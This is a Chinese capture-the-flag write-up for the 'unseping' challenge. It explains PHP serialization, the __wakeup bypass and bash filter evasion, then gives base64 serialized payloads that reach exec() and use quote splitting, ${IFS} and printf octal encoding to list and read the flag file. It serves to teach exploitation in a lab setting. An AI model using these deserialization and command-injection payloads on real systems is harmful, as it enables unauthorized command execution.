这是一道序列化的题目,结合了Linux Bash shell知识

一、基础知识点

  • 序列化

      序列化的概念: 

      序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。常见有将java、PHP、c#、js中的对象转化为二进制、XML、json等数据格式。

      php序列化:

    serialize() 返回一个字符串,包含着可以储存于 php 的任何值的字节流表示。unserialize() 可以用此字符串来重建原始的变量值。用序列化来保存对象可以保存对象中的所有变量。对象中的函数不会被保存,只有类的名称。要能够 unserialize() 一个对象,需要定义该对象的类。也就是,如果序列化了 page1.php 中类 A 的对象 $a,将得到一个指向类 A 的字符串并包含有所有 $a 中变量的值。如果要在 page2.php 中将其解序列化,重建类 A 的对象 $a,则 page2.php 中必须要出现类 A 的定义。

      php序列化示例(参考链接php反序列化漏洞):

    

      

      

    类中的属性的可见性:

    类属性可以定义为public, private 或者 protected。在没有任何访问控制关键字的情况下,属性声明为 public。

    1)public:公有的,可以在任何地方被访问。属性的变量序列化化后直接就是变量名

    2)private:私有的,只能被定义的类所访问。属性的变量序列化后会在前面加%00类名%00

    3)protect:受保护的,可以被其自身以及子类和父类访问。属性的变量序列化后会在前面加%00*%00    

    注意:%00占一个字节在序列化字符串中会计数进变量名长度,但在页面中不会显示出来,而且复制的时候不会复制进来;在构造序列化字符串时,最好在脚本里用str_replace直接对serialize函数的返回结果进行构造完之后添加上相应的符号。

    exec()函数用于执行一个外部程序,语法为:exec(string $command[,array &$output[,int &$return_var ]]);  是用来调用linux命令的函数。exec()函数是被禁用的,要使用这个函数必须先开启。首先是 要关掉 安全模式safe_mode = off。然后再看看禁用函数列表,要把 exec 去掉,重启 apache 就OK了。

    exec()函数基本用法:

    语法为 exec(string $command[,array &$output[,int &$return_var ]]);

    $command  为要执行得命令,为字符类型

    $output  为执行命令后输出的结果,为数组类型

    $return_var  为命令执行后的返回状态,为int类型

    理论上只需要一个参数$command即可

    exec()使用示例:

    

    执行$command中的命令后返回结果到$array中,print_r()输出了$array中的内容。

    

    当使用 new 关键字实例化一个对象时,构造函数将会自动调用。一个类中只能存在一个构造函数。和普通函数类似构造函数也可以带有参数,如果构造函数有参数的话,那么在实例化时也需要传入对应的参数,例如new Students($name, $age)。

    __construct的绕过:

    反序列化时,类的构造函数即(__construct函数)不会被执行。(参考链接)所以你绕过它干嘛?

    析构函数只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用。析构函数允许我们在销毁一个对象之前执行一些特定的操作,例如关闭文件、释放结果集等。在 PHP 中有一种垃圾回收机制,当对象不能被访问时就会自动启动垃圾回收机制,收回对象占用的内存空间。而析构函数正是在垃圾回收机制回收对象之前调用的。

      gc机制(Garbage Collection垃圾回收机制):(参考链接

    在PHP中,没有任何变量指向这个对象时,这个对象就成为垃圾。PHP会将其在内存中销毁;这是PHP的GC垃圾处理机制,防止内存溢出。当一个PHP线程结束时,当前占用的所有内存空间都会被销毁,当前程序中所有对象同时被销毁。GC进程一般都跟着每起一个SESSION而开始运行的.gc目的是为了在session文件过期以后自动销毁删除这些文件.二、__destruct /unset __destruct() 析构函数,是在垃圾对象被回收时执行。unset 销毁1的是指向对象的变量,而不是这个对象。三、 Session 与PHP垃圾回收机制由于PHP的工作机制,它并没有一个daemon线程来定期的扫描Session信息并判断其是否失效,当一个有效的请求发生时,PHP 会根据全局变量 session.gc_probability和session.gc_pisor的值,来决定是否启用一个GC, 在默认情况下,session.gc_probability=1, session.gc_pisor =100也就是说有1%的可能性启动GC(也就是说100个请求中只有一个gc会伴随100个中的某个请求而启动).PHP垃圾回收机制的工作就是扫描所有的Session信息,用当前时间减去session最后修改的时间,同session.gc_maxlifetime参数进行比较,如果生存时间超过gc_maxlifetime(默认24分钟), 就将该session删除。但是,如果你Web服务器有多个站点,多个站点时,GC处理session可能会出现意想不到的结果,原因就是:GC在工作时,并不会区分不同站点的session。触发的具体操作可以将一个对象的值赋为新值,则原来的旧值会被回收。
    __destruct的具体触发条件:

    主动调用unset($obj):调用unset函数将指向对象的变量删除

    主动调用$obj = NULL:指向对象的变量被置为空,导致原对象无法引用

    程序自动结束:程序结束后会自动将对象删除

    垃圾回收机制回收:说白了就是前三种情况总和

    __destruct触发具体实现:

    (1)可以使用数组,给数组设置两个键值对,第一个键值对为 0=>$obj(想要销毁的对象),第二个键值对为1=>NULL,将构造的数组进行序列化后把第二个键值对的键改为0,这样就可以使0这个键所指的对象无法被引用 从而触发__destruct方法。(当程序无法正常结束时)

     unserialize()在调用前会检查是否存在一个__wakeup方法。如果存在,则会先调用 __wakeup方法,预先准备对象数据。__wakeup经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。

     __wakeup的绕过:

     将需要进行反序列化的对象的序列化字符串中的成员数改为大于实际成员数即可。原理是:如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

  • 正则表达式

    花时间掌握

  • call_user_func_array 函数

    参考链接(203条消息) call_user_func_array函数详解进行了解

  • printf绕过(字符串进制绕过)

    Linux中的printf函数()

    printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出。其格式为:

\NNN 八进制数 NNN 所代表的 ASCII 码字符。

\xHH 十六进制 HH 对应的8位字符。HH 可以是一到两位。

\uHHHH 十六进制 HHHH 对应的 Unicode 字符。HHHH 一到四位。

\UHHHHHHHH十六进制 HHHHHHHH 对应的 Unicode 字符。HHHHHHHH 一到八位

    测试截图:

      $()与 ` `(反引号):

    在bash中,$( )与` `(反引号)都是用来作命令替换的,执行括号或者反引号中的命令。命令替换与变量替换差不多,先完成引号里的命令行,然后将其执行结果作为替换,再重组成新的命令行进行执行。

示例:命令:$ echo today is $(date "+%Y-%m-%d"),首先执行date命令,然后将执行结果替换后组成新的命令$echo today is 2014-07-01进行执行。显示:today is 2014-07-01。注意$$()会将$()返回的结果视为命令进行执行,命令窗口里会有一个$。

  • Linux中对空格的绕过

    Linux中的IFS变量:

    Linux的bash shell中有一个叫做内部字段分隔符IFS(internal field separator)的变量,该变量常用于在处理文本数据时作为分隔符使用。IFS可以是White Space(空白键)、Tab( 表格键)、Enter( 回车键)中的一个或几个。IFS的设置方法和普通变量设置方法类似:IFS=":"。当该变量为空格时,可用于对空格进行绕过。IFS变量测试结果如下:

    我的Linux原本是用的zsh shell,没有IFS这个变量,测试截图如下:

    Bash shell空格绕过:

cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

二、代码分析&测试

  (1)整体来说是创建了一个case类,然后可接受post传来的ctf的值,并对其进行base64解码以及反序列化。所以我们能控制ctf变量。

     先看__wakeup方法,该方法使用waf方法对$arg中的内容进行了防护,过滤掉了|   &   ;   空格   /   cat   flag   tac   php   ls。

     再看__destruct方法,该方法检测ping是否在$method中,并调用了名为$method的方法,且以数组$arg中的值作为参数。

     接着看ping方法,该方法的结构为将输入参数作为外部命令进行执行,并返回输出结果。该函数实现了作为一个webshell的基本条件。

     综合来看就是在通过$method和__construct来调用构造的ping方法,接着通过$args来作为输入口进行命令的输入。

    (2)post上传构造后的序列化字符串来查看目录文件,构造方法是$method=ping,$arg为想要执行的外部命令ls,ls可以用''单引号或""双引号进行绕过,注意要闭合,此处是运用了Bash shell中单双引号的特性。另外还要注意$arg是数组的形式:

payload为Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==

返回结果为

     (3)发现一个名为flag_1s_here的文件夹,于是再ls flag_1s_here,但是由于flag被过滤,所以又要用引号绕过。同时空格也是被过滤了的,此处用IFS变量进行绕过。将$arg的值改为索要执行的命令l''s${IFS}f''lag_1s_here:

注意构造时引号的细节,单引号会把中间的内容完全视为字符串,但双引号会把内部变量进行解析,若在输入array的参数时用双引号,会对${}中的内容进行解析导致payload构造失败。单双引号的区别在Linux与php中都一样。贡构造的payload为Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

返回结果为

  (4)flag大概率是在flag_831b69012c67b35f.php中,目前想要执行cat flag_1s_here/flag_831b69012c67b35f.php来查看flag,cat,flag,php都可以用双引号绕过,空格用${IFS}绕过,/要用printf及$()绕过。令$arg=c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp。构造payload为Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

(或者直接对整个要执行的命令用printf及$()绕过。此时$arg=$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160(cat flag_1s_here/flag_831b69012c67b35f.php的八进制或十六进制编码都可以)")。

返回结果为:

故此题flag为cyberpeace{15718f834fbc4e1286476df71d1f08eb}

攻防世界-unseping(序列化,Bash shell)的更多相关文章

  1. ubantu linux的bash shell初接触

    本人是Linux初习者,同时也刚刚开始学习,将我的学习成长记录下来,来和大家一同分享! 我用的系统是Ubuntu 12.04,脚本编辑器用的是VIM,觉得很顺手!Shell语言用的是Bash Shel ...

  2. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  3. 关于bash shell的理解

    Bash Shell 基本特性 1.命令选项参数的补全 补全选项,需要安装 bash-completion yum install -y bash-completion 2.快捷键 Ctrl + a ...

  4. 攻防世界 web进阶区 ics-06

    攻防世界 ics-06 涉及知识点: (1)php://filter协议 (2)php中preg_replace()函数的漏洞 解析: 进入题目的界面,一通乱点点出了唯一一个可以进入的界面. 观察ur ...

  5. 攻防世界Web刷题记录(新手区)

    攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...

  6. 攻防世界(三)Web_php_unserialize

    攻防世界系列:Web_php_unserialize 0x01.代码审计 1.类Demo中struct().destruct()函数分别在代码执行开始和结束时调用.而wakeup函数会在代码执行过程中 ...

  7. 攻防世界(五)Web_php_include

    攻防世界系列:Web_php_include 方法一:大小写绕过 strstr()函数对php我协议进行了过滤,但我们可以尝试大小写绕过 抓包POST传值让其执行我们输入的命令 ?page=Php:/ ...

  8. 攻防世界(十二)upload1

    攻防世界系列 :upload1 1.打开题目,文件上传. 2.立即上传shell 1.php <?php @eval($_POST[root]); ?> 提示只能上传图片 3.burp改报 ...

  9. 攻防世界(十三)unserialize3

    攻防世界系列 :unserialize3 1.打开题目,反序列化 2.代码审计 类xctf被调用时_weakeup()函数会被自动执行,但当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常, ...

  10. 攻防世界Web区部分题解

    攻防世界Web区部分题解   前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 ...

随机推荐

  1. PostGIS之几何创建函数

    1. 概述 PostGIS 是PostgreSQL数据库一个空间数据库扩展,它添加了对地理对象的支持,允许在 SQL 中运行空间查询 PostGIS官网:About PostGIS | PostGIS ...

  2. Postgresql通过pg_waldump来分析pg_wal日志

    一.简介 读取MySQL的binlog 并将其解析为可读的日志是一件简单的事情,mysqlbinlog 命令就可以将bin日志解析, 那postgresql是否可以将pg_wal 中的日志进行解析,并 ...

  3. centos7中关闭防火墙命令

    1.命令行界面输入命令"systemctl status firewalld.service"并按下回车键. 2.然后在下方可以查看得到"active(running)& ...

  4. vivado报错vivado 12-8300 launch hls failed please see vivado hls.log for details

    报错: 解决方案: 1. Download the "y2k22_patch-1.2.zip" file attached to this page 2. Unzip the fi ...

  5. SAP NOTE 489676 VF188异常

    解决方案 VOFM->复制请求->出具发票单据(B) 新建999例程

  6. plesk 关闭维护模式

    最近遇到访问plesk时出现maintanase mode模式,于是网上搜了答案都是老外的,且没有明确怎么解决,但可能造成这一问题的原因也很多,我这个是这么解决的,和大家分享下,希望可以起到一个思路引 ...

  7. ts面试题

    1.ts的内置数据类型2.ts中any和unknown3.如何将unknown指定为更具体的类型4.说说对ts中命名空间与模块的理解?区别?5.对ts的理解,和js的区别6.tsconfig.json ...

  8. GUI程序设计——班级信息收集系

    import pymysql import wx class MyFrame(wx.Frame): def __init__(self,parent,id): wx.Frame.__init__(se ...

  9. jumpserver运行源码

    本文运行流程介绍来自jumpserver版本号:v2.23.2 入口文件 run_server.py run_server中通过subprocess.call,用python3运行了同级目录下jms, ...

  10. QT控件使用--QPlainTextEdit

    QPlainTextEdit是一个多行文本编辑器,用于显示和编辑多行简单文本. 一些常用的函数有: appendPlainText(const QString) 向 PlainTextEdit 组件添 ...